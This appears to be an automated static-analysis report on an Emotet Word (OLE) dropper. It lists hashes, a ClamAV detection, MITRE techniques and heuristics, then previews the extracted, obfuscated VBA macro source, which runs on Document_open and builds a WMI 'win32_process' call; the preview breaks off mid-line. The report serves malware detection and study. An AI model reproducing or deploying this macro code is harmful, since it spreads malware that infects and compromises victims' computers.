Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 af94a807ad27af03…

MALICIOUS

Office (OLE)

190.5 KB Created: 2020-09-03 19:59:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 58779f312996de260aeb7cfc57c5e003 SHA-1: 7176fc78baa437edd78984f01696fca31d4f768d SHA-256: af94a807ad27af0322ecdce2f282be8b0d3037615f7d64915e271c5db9016d18
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature 'Doc.Dropper.EmotetWinMob0920-9636503-0', indicating it's a known Emotet dropper. The presence of a Document_Open macro and CreateObject calls strongly suggests the execution of malicious VBA code. While the VBA script is heavily obfuscated, its structure and the heuristic firings point towards it downloading and executing a second-stage payload, a common Emotet behavior.

Heuristics 6

  • ClamAV: Doc.Dropper.EmotetWinMob0920-9636503-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetWinMob0920-9636503-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13504 bytes
SHA-256: 32e7e07adbacaf6cb0fdc88262d7b839cf852547d70828cfa564d887587edcd2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Ocfdthw6z5i5"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Call V0cwe4yhe6gj3vvg.Tvc4wsmdbwlb
End Sub


Attribute VB_Name = "V0cwe4yhe6gj3vvg"
Attribute VB_Base = "0{FCADFF9D-7AC1-433F-9A99-61D7F16BA0C5}{B5F8D878-C993-4815-8D5E-0E63BB44BA11}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Tvc4wsmdbwlb()
   On Error Resume Next
Set HLklks = NJLLKsd
Iunp5f5tmugx8r = jsjjswww + wiiwjdd * H3m81yvgqx1yop4g / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(E7275n2wfv59)
Up70af5twfum = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
Dm6s_ek5js7e_n_4 = A9hkn44lxnz33
Yhpddbigbali5 = (jkbasd / Jqy4o76fmc4spvkud)
V1h4a_mlga_yuehnb = CDate(qwiiwi)
E398zndnlos9a5a = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
Ank5_i1mao0k4zenj = 105
   On Error Resume Next
Set HLklks = NJLLKsd
Iunp5f5tmugx8r = jsjjswww + wiiwjdd * H3m81yvgqx1yop4g / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(E7275n2wfv59)
Up70af5twfum = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
Dm6s_ek5js7e_n_4 = A9hkn44lxnz33
Yhpddbigbali5 = (jkbasd / Jqy4o76fmc4spvkud)
V1h4a_mlga_yuehnb = CDate(qwiiwi)
E398zndnlos9a5a = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
Wv9l4vqgbrt18oc_ = ChrW$(Ank5_i1mao0k4zenj + (10))
   On Error Resume Next
Set HLklks = NJLLKsd
Iunp5f5tmugx8r = jsjjswww + wiiwjdd * H3m81yvgqx1yop4g / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(E7275n2wfv59)
Up70af5twfum = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
Dm6s_ek5js7e_n_4 = A9hkn44lxnz33
Yhpddbigbali5 = (jkbasd / Jqy4o76fmc4spvkud)
V1h4a_mlga_yuehnb = CDate(qwiiwi)
E398zndnlos9a5a = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
T_qnw0g66qie = "26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]w26{} 328[]9 gv]bhja[]i26{} 328[]9 gv]bhja[]nm26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]gm26{} 328[]9 gv]bhja[]t26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]" + Wv9l4vqgbrt18oc_ + "26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]:26{} 328[]9 gv]bhja[]w26{} 328[]9 gv]bhja[]in26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]326{} 328[]9 gv]bhja[]226{} 328[]9 gv]bhja[]_26{} 328[]9 gv]bhja[]" + V0cwe4yhe6gj3vvg.Cea6rf4f2t4i1l8v + "26{} 328[]9 gv]bhja[]ro26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]ce26{} 328[]9 gv]bhja[]s26{} 328[]9 gv]bhja[]s26{} 328[]9 gv]bhja[]"
   On Error Resume Next
Set HLklks = NJLLKsd
Iunp5f5tmugx8r = jsjjswww + wiiwjdd * H3m81yvgqx1yop4g / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(E7275n2wfv59)
Up70af5twfum = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
Dm6s_ek5js7e_n_4 = A9hkn44lxnz33
Yhpddbigbali5 = (jkbasd / Jqy4o76fmc4spvkud)
V1h4a_mlga_yuehnb = CDate(qwiiwi)
E398zndnlos9a5a = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
H415_9_qe1ktfwot = Ww7_9g3l6jt(T_qnw0g66qie)
   On Error Resume Next
Set HLklks = NJLLKsd
Iunp5f5tmugx8r = jsjjswww + wiiwjdd * H3m81yvgqx1yop4g / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(E7275n2wfv59)
Up70af5twfum = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
Dm6s_ek5js7e_n_4 = A9hkn44lxnz33
Yhpddbigbali5 = (jkbasd / Jqy4o76fmc4spvkud)
V1h4a_mlga_yuehnb = CDate(qwiiwi)
E398zndnlos9a5a = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
   On Error Resume Next
Set HLklks = NJLLKsd
Iunp5f5tmugx8r = jsjjswww + wiiwjdd * H3m81yvgqx1yop4g / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwg
... (truncated)